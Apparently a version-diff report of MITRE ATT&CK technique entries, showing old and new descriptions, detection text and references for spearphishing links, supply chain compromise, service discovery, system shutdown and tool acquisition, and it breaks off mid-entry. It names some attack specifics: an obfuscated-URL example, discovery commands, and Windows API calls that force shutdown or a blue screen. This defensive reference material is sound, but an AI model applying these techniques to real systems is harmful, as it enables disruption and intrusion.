| > | provide permissions/access for malicious applications, allo | > | ttack.mitre.org/techniques/T1528)s that grant immediate acce | ||
| > | wing adversaries to [Steal Application Access Token](https: | > | ss to the victim environment. For example, a user may be lur | ||
| > | //attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro | > | ed into granting adversaries permissions/access via a malici | ||
| > | Pawn Storm OAuth 2017) These stolen access tokens allow the | > | ous OAuth 2.0 request URL that when accepted by the user pro | ||
| > | adversary to perform various actions on behalf of the user | > | vide permissions/access for malicious applications.(Citation | ||
| > | via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishi | > | : Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAu | ||
| > | ng 2021) Adversaries may also utilize spearphishing links t | > | th 2.0 Consent Phishing 2021) These stolen access tokens all | ||
| > | o [Steal Application Access Token](https://attack.mitre.org/ | > | ow the adversary to perform various actions on behalf of the | ||
| > | techniques/T1528)s that grant immediate access to the victim | > | user via API calls.(Citation: Microsoft OAuth 2.0 Consent P | ||
| > | environment. For example, a user may be lured through “cons | > | hishing 2021) Similarly, malicious links may also target de | ||
| > | ent phishing” into granting adversaries permissions/access v | > | vice-based authorization, such as OAuth 2.0 device authoriza | ||
| > | ia a malicious OAuth 2.0 request URL .(Citation: Trend Micro | > | tion grant flow which is typically used to authenticate devi | ||
| > | Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consen | > | ces without UIs/browsers. Known as “device code phishing,” a | ||
| > | t Phishing 2021) Similarly, malicious links may also target | > | n adversary may send a link that directs the victim to a mal | ||
| > | device-based authorization, such as OAuth 2.0 device author | > | icious authorization page where the user is tricked into ent | ||
| > | ization grant flow which is typically used to authenticate d | > | ering a code/credentials that produces a device token.(Citat | ||
| > | evices without UIs/browsers. Known as “device code phishing, | > | ion: SecureWorks Device Code Phishing 2021)(Citation: Netsko | ||
| > | ” an adversary may send a link that directs the victim to a | > | pe Device Code Phishing 2021)(Citation: Optiv Device Code Ph | ||
| > | malicious authorization page where the user is tricked into | > | ishing 2021) | ||
| > | entering a code/credentials that produces a device token.(Ci | ||||
| > | tation: SecureWorks Device Code Phishing 2021)(Citation: Net | ||||
| > | skope Device Code Phishing 2021)(Citation: Optiv Device Code | ||||
| > | Phishing 2021) | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:10:41.326000+00:00 | 2025-10-24 17:48:34.123000+00:00 |
| description | Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. + +All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. + +Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an "IDN homograph attack").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023) + +Adversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021) + +Adversaries may also utilize spearphishing links to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured through “consent phishing” into granting adversaries permissions/access via a malicious OAuth 2.0 request URL .(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021) + +Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021) | Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. + +All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. + +Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an "IDN homograph attack").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023) + +Adversaries may also utilize links to perform consent phishing/spearphishing campaigns to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications.(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021) + +Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021) |
| x_mitre_detection | URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites as well as links redirecting to adversary infrastructure based by upon suspicious OAuth patterns with unusual TLDs.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021). Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. + +Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) + +Because this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs. | |
| x_mitre_version | 2.7 | 2.8 |
Current version: 1.5
Version changed from: 1.4 → 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Access', 'File: File Access'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:12:39.075000+00:00 | 2025-10-24 17:48:25.272000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Monitor for attempts to access files and repositories on a local system that are used to store browser session cookies. Monitor for attempts by programs to inject into or dump browser process memory. | |
| x_mitre_version | 1.4 | 1.5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Don Le, Stifel Financial |
Current version: 1.7
Version changed from: 1.6 → 1.7
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may manipulate products or product delivery mech | t | 1 | Adversaries may manipulate products or product delivery mech |
| > | anisms prior to receipt by a final consumer for the purpose | > | anisms prior to receipt by a final consumer for the purpose | ||
| > | of data or system compromise. Supply chain compromise can t | > | of data or system compromise. Supply chain compromise can t | ||
| > | ake place at any stage of the supply chain including: * Man | > | ake place at any stage of the supply chain including: * Man | ||
| > | ipulation of development tools * Manipulation of a developme | > | ipulation of development tools * Manipulation of a developme | ||
| > | nt environment * Manipulation of source code repositories (p | > | nt environment * Manipulation of source code repositories (p | ||
| > | ublic or private) * Manipulation of source code in open-sour | > | ublic or private) * Manipulation of source code in open-sour | ||
| > | ce dependencies * Manipulation of software update/distributi | > | ce dependencies * Manipulation of software update/distributi | ||
| > | on mechanisms * Compromised/infected system images (multiple | > | on mechanisms * Compromised/infected system images (removabl | ||
| > | cases of removable media infected at the factory)(Citation: | > | e media infected at the factory)(Citation: IBM Storwize)(Cit | ||
| > | IBM Storwize)(Citation: Schneider Electric USB Malware) * | > | ation: Schneider Electric USB Malware) * Replacement of leg | ||
| > | Replacement of legitimate software with modified versions * | > | itimate software with modified versions * Sales of modified/ | ||
| > | Sales of modified/counterfeit products to legitimate distrib | > | counterfeit products to legitimate distributors * Shipment i | ||
| > | utors * Shipment interdiction While supply chain compromise | > | nterdiction While supply chain compromise can impact any co | ||
| > | can impact any component of hardware or software, adversari | > | mponent of hardware or software, adversaries looking to gain | ||
| > | es looking to gain execution have often focused on malicious | > | execution have often focused on malicious additions to legi | ||
| > | additions to legitimate software in software distribution o | > | timate software in software distribution or update channels. | ||
| > | r update channels.(Citation: Avast CCleaner3 2018)(Citation: | > | (Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil | ||
| > | Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targ | > | 2018)(Citation: Command Five SK 2011) Adversaries may limit | ||
| > | eting may be specific to a desired victim set or malicious s | > | targeting to a desired victim set or distribute malicious so | ||
| > | oftware may be distributed to a broad set of consumers but o | > | ftware to a broad set of consumers but only follow up with s | ||
| > | nly move on to additional tactics on specific victims.(Citat | > | pecific victims.(Citation: Symantec Elderwood Sept 2012)(Cit | ||
| > | ion: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 | > | ation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) | ||
| > | 2018)(Citation: Command Five SK 2011) Popular open source p | > | Popular open-source projects that are used as dependencies | ||
| > | rojects that are used as dependencies in many applications m | > | in many applications may also be targeted as a means to add | ||
| > | ay also be targeted as a means to add malicious code to user | > | malicious code to users of the dependency.(Citation: Trendmi | ||
| > | s of the dependency.(Citation: Trendmicro NPM Compromise) | > | cro NPM Compromise) In some cases, adversaries may conduct | ||
| > | “second-order” supply chain compromises by leveraging the ac | ||||
| > | cess gained from an initial supply chain compromise to furth | ||||
| > | er compromise a software component.(Citation: Krebs 3cx over | ||||
| > | view 2023) This may allow the threat actor to spread to even | ||||
| > | more victims. | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Sensor Health: Host Status', 'File: File Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:13:41.905000+00:00 | 2025-10-24 17:48:41.675000+00:00 |
| description | Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. + +Supply chain compromise can take place at any stage of the supply chain including: + +* Manipulation of development tools +* Manipulation of a development environment +* Manipulation of source code repositories (public or private) +* Manipulation of source code in open-source dependencies +* Manipulation of software update/distribution mechanisms +* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) +* Replacement of legitimate software with modified versions +* Sales of modified/counterfeit products to legitimate distributors +* Shipment interdiction + +While supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) | Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. + +Supply chain compromise can take place at any stage of the supply chain including: + +* Manipulation of development tools +* Manipulation of a development environment +* Manipulation of source code repositories (public or private) +* Manipulation of source code in open-source dependencies +* Manipulation of software update/distribution mechanisms +* Compromised/infected system images (removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) +* Replacement of legitimate software with modified versions +* Sales of modified/counterfeit products to legitimate distributors +* Shipment interdiction + +While supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Adversaries may limit targeting to a desired victim set or distribute malicious software to a broad set of consumers but only follow up with specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open-source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) + +In some cases, adversaries may conduct “second-order” supply chain compromises by leveraging the access gained from an initial supply chain compromise to further compromise a software component.(Citation: Krebs 3cx overview 2023) This may allow the threat actor to spread to even more victims. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering. | |
| x_mitre_version | 1.6 | 1.7 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Krebs 3cx overview 2023', 'description': 'Brian Krebs. (2023, April 20). 3CX Breach Was a Double Supply Chain Compromise. Retrieved May 22, 2025.', 'url': 'https://krebsonsecurity.com/2023/04/3cx-breach-was-a-double-supply-chain-compromise/'} | |
| x_mitre_contributors | Menachem Goldstein | |
| x_mitre_contributors | Damien Miller-McAndrews | |
| x_mitre_platforms | SaaS |
Current version: 1.6
Version changed from: 1.5 → 1.6
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may try to gather information about registered l | t | 1 | Adversaries may try to gather information about registered l |
| > | ocal system services. Adversaries may obtain information abo | > | ocal system services. Adversaries may obtain information abo | ||
| > | ut services using tools as well as OS utility commands such | > | ut services using tools as well as OS utility commands such | ||
| > | as <code>sc query</code>, <code>tasklist /svc</code>, <code> | > | as <code>sc query</code>, <code>tasklist /svc</code>, <code> | ||
| > | systemctl --type=service</code>, and <code>net start</code>. | > | systemctl --type=service</code>, and <code>net start</code>. | ||
| > | Adversaries may use the information from [System Service D | > | Adversaries may also gather information about schedule task | ||
| > | iscovery](https://attack.mitre.org/techniques/T1007) during | > | s via commands such as `schtasks` on Windows or `crontab -l` | ||
| > | automated discovery to shape follow-on behaviors, including | > | on Linux and macOS.(Citation: Elastic Security Labs GOSAR 2 | ||
| > | whether or not the adversary fully infects the target and/or | > | 024)(Citation: SentinelLabs macOS Malware 2021)(Citation: Sp | ||
| > | attempts specific actions. | > | lunk Linux Gormir 2024)(Citation: Aquasec Kinsing 2020) Adv | ||
| > | ersaries may use the information from [System Service Discov | ||||
| > | ery](https://attack.mitre.org/techniques/T1007) during autom | ||||
| > | ated discovery to shape follow-on behaviors, including wheth | ||||
| > | er or not the adversary fully infects the target and/or atte | ||||
| > | mpts specific actions. | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:14:33.837000+00:00 | 2025-10-24 17:48:36.812000+00:00 |
| description | Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start.
+
+Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. | Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start. Adversaries may also gather information about schedule tasks via commands such as `schtasks` on Windows or `crontab -l` on Linux and macOS.(Citation: Elastic Security Labs GOSAR 2024)(Citation: SentinelLabs macOS Malware 2021)(Citation: Splunk Linux Gormir 2024)(Citation: Aquasec Kinsing 2020)
+
+Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | |
| x_mitre_version | 1.5 | 1.6 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Aquasec Kinsing 2020', 'description': 'Gal Singer. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved May 22, 2025.', 'url': 'https://www.aquasec.com/blog/threat-alert-kinsing-malware-container-vulnerability/'} | |
| external_references | {'source_name': 'Elastic Security Labs GOSAR 2024', 'description': 'Jia Yu Chan, Salim Bitam, Daniel Stepanic, and Seth Goodwin. (2024, December 12). Under the SADBRIDGE with GOSAR: QUASAR Gets a Golang Rewrite. Retrieved May 22, 2025.', 'url': 'https://www.elastic.co/security-labs/under-the-sadbridge-with-gosar'} | |
| external_references | {'source_name': 'SentinelLabs macOS Malware 2021', 'description': 'Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved May 22, 2025.', 'url': 'https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/'} | |
| external_references | {'source_name': 'Splunk Linux Gormir 2024', 'description': 'Splunk Threat Research Team , Teoderick Contreras. (2024, July 15). Breaking Down Linux.Gomir: Understanding this Backdoor’s TTPs. Retrieved May 22, 2025.', 'url': 'https://www.splunk.com/en_us/blog/security/breaking-down-linux-gomir-understanding-this-backdoors-ttps.html'} |
Current version: 1.5
Version changed from: 1.4 → 1.5
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may shutdown/reboot systems to interrupt access | t | 1 | Adversaries may shutdown/reboot systems to interrupt access |
| > | to, or aid in the destruction of, those systems. Operating s | > | to, or aid in the destruction of, those systems. Operating s | ||
| > | ystems may contain commands to initiate a shutdown/reboot of | > | ystems may contain commands to initiate a shutdown/reboot of | ||
| > | a machine or network device. In some cases, these commands | > | a machine or network device. In some cases, these commands | ||
| > | may also be used to initiate a shutdown/reboot of a remote c | > | may also be used to initiate a shutdown/reboot of a remote c | ||
| > | omputer or network device via [Network Device CLI](https://a | > | omputer or network device via [Network Device CLI](https://a | ||
| > | ttack.mitre.org/techniques/T1059/008) (e.g. <code>reload</co | > | ttack.mitre.org/techniques/T1059/008) (e.g. <code>reload</co | ||
| > | de>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert | > | de>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert | ||
| > | _TA18_106A) They may also include shutdown/reboot of a virtu | > | _TA18_106A) They may also include shutdown/reboot of a virtu | ||
| > | al machine via hypervisor / cloud consoles or command line t | > | al machine via hypervisor / cloud consoles or command line t | ||
| > | ools. Shutting down or rebooting systems may disrupt access | > | ools. Shutting down or rebooting systems may disrupt access | ||
| > | to computer resources for legitimate users while also imped | > | to computer resources for legitimate users while also imped | ||
| > | ing incident response/recovery. Adversaries may attempt to | > | ing incident response/recovery. Adversaries may also use Wi | ||
| > | shutdown/reboot a system after impacting it in other ways, s | > | ndows API functions, such as `InitializeSystemShutdownExW` o | ||
| > | uch as [Disk Structure Wipe](https://attack.mitre.org/techni | > | r `ExitWindowsEx`, to force a system to shut down or reboot. | ||
| > | ques/T1561/002) or [Inhibit System Recovery](https://attack. | > | (Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) A | ||
| > | mitre.org/techniques/T1490), to hasten the intended effects | > | lternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Wi | ||
| > | on system availability.(Citation: Talos Nyetya June 2017)(Ci | > | ndows API functions with the `ResponseOption` parameter set | ||
| > | tation: Talos Olympic Destroyer 2018) | > | to `OptionShutdownSystem` may deliver a “blue screen of deat | ||
| > | h” (BSOD) to a system.(Citation: SonicWall)(Citation: NtRais | ||||
| > | eHardError)(Citation: NotMe-BSOD) In order to leverage these | ||||
| > | API functions, an adversary may need to acquire `SeShutdown | ||||
| > | Privilege` (e.g., via [Access Token Manipulation](https://at | ||||
| > | tack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2 | ||||
| > | 023) In some cases, the system may not be able to boot agai | ||||
| > | n. Adversaries may attempt to shutdown/reboot a system aft | ||||
| > | er impacting it in other ways, such as [Disk Structure Wipe] | ||||
| > | (https://attack.mitre.org/techniques/T1561/002) or [Inhibit | ||||
| > | System Recovery](https://attack.mitre.org/techniques/T1490), | ||||
| > | to hasten the intended effects on system availability.(Cita | ||||
| > | tion: Talos Nyetya June 2017)(Citation: Talos Olympic Destro | ||||
| > | yer 2018) | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Sensor Health: Host Status', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:24.950000+00:00 | 2025-10-24 17:49:40.145000+00:00 |
| description | Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.
+
+Shutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.
+
+Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018) | Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.
+
+Shutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.
+
+Adversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot.(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a “blue screen of death” (BSOD) to a system.(Citation: SonicWall)(Citation: NtRaiseHardError)(Citation: NotMe-BSOD) In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via [Access Token Manipulation](https://attack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2023)
+ In some cases, the system may not be able to boot again.
+
+Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Use process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006. Unexpected or unauthorized commands from network cli on network devices may also be associated with shutdown/reboot, e.g. the reload command. | |
| x_mitre_version | 1.4 | 1.5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'NotMe-BSOD', 'description': 'lzcapp. (n.d.). Retrieved September 22, 2025.', 'url': 'https://github.com/lzcapp/NotMe-BSOD'} | |
| external_references | {'source_name': 'NtRaiseHardError', 'description': 'NtDoc. (n.d.). NtRaiseHardError - NtDoc. Retrieved September 22, 2025.', 'url': 'https://ntdoc.m417z.com/ntraiseharderror'} | |
| external_references | {'source_name': 'Unit42 Agrius 2023', 'description': 'Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.', 'url': 'https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/'} | |
| external_references | {'source_name': 'SonicWall', 'description': 'SecurityNews. (2024, July 12). Disarming DarkGate: A Deep Dive into Thwarting the Latest DarkGate Variant. Retrieved September 22, 2025.', 'url': 'https://www.sonicwall.com/blog/disarming-darkgate-a-deep-dive-into-thwarting-the-latest-darkgate-variant'} | |
| external_references | {'source_name': 'CrowdStrike Blog', 'description': 'William Thomas, Adrian Liviu Arsene, Farid Hendi. (2022, February 25). CrowdStrike Falcon® Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved September 22, 2025.', 'url': 'https://www.crowdstrike.com/en-us/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may buy, steal, or download software tools that | t | 1 | Adversaries may buy, steal, or download software tools that |
| > | can be used during targeting. Tools can be open or closed so | > | can be used during targeting. Tools can be open or closed so | ||
| > | urce, free or commercial. A tool can be used for malicious p | > | urce, free or commercial. A tool can be used for malicious p | ||
| > | urposes by an adversary, but (unlike malware) were not inten | > | urposes by an adversary, but (unlike malware) were not inten | ||
| > | ded to be used for those purposes (ex: [PsExec](https://atta | > | ded to be used for those purposes (ex: [PsExec](https://atta | ||
| > | ck.mitre.org/software/S0029)). Tool acquisition can involve | > | ck.mitre.org/software/S0029)). Adversaries may obtain tool | ||
| > | the procurement of commercial software licenses, including f | > | s to support their operations, including to support executio | ||
| > | or red teaming tools such as [Cobalt Strike](https://attack. | > | n of post-compromise behaviors. Tools may also be leveraged | ||
| > | mitre.org/software/S0154). Commercial software may be obtain | > | for testing – for example, evaluating malware against commer | ||
| > | ed through purchase, stealing licenses (or licensed copies o | > | cial antivirus or endpoint detection and response (EDR) appl | ||
| > | f the software), or cracking trial versions.(Citation: Recor | > | ications.(Citation: Forescout Conti Leaks 2022)(Citation: Se | ||
| > | ded Future Beacon 2019) Adversaries may obtain tools to sup | > | ntinel Labs Top Tier Target 2025) Tool acquisition may invo | ||
| > | port their operations, including to support execution of pos | > | lve the procurement of commercial software licenses, includi | ||
| > | t-compromise behaviors. In addition to freely downloading or | > | ng for red teaming tools such as Cobalt Strike. In addition | ||
| > | purchasing software, adversaries may steal software and/or | > | to freely downloading or purchasing software, adversaries ma | ||
| > | software licenses from third-party entities (including other | > | y steal software and/or software licenses from third-party e | ||
| > | adversaries). | > | ntities (including other adversaries). Threat actors may als | ||
| > | o crack trial versions of software.(Citation: Recorded Futur | ||||
| > | e Beacon 2019) | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Malware Repository: Malware Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:16:21.007000+00:00 | 2025-10-24 17:49:10.900000+00:00 |
| description | Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019) + +Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). | Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended 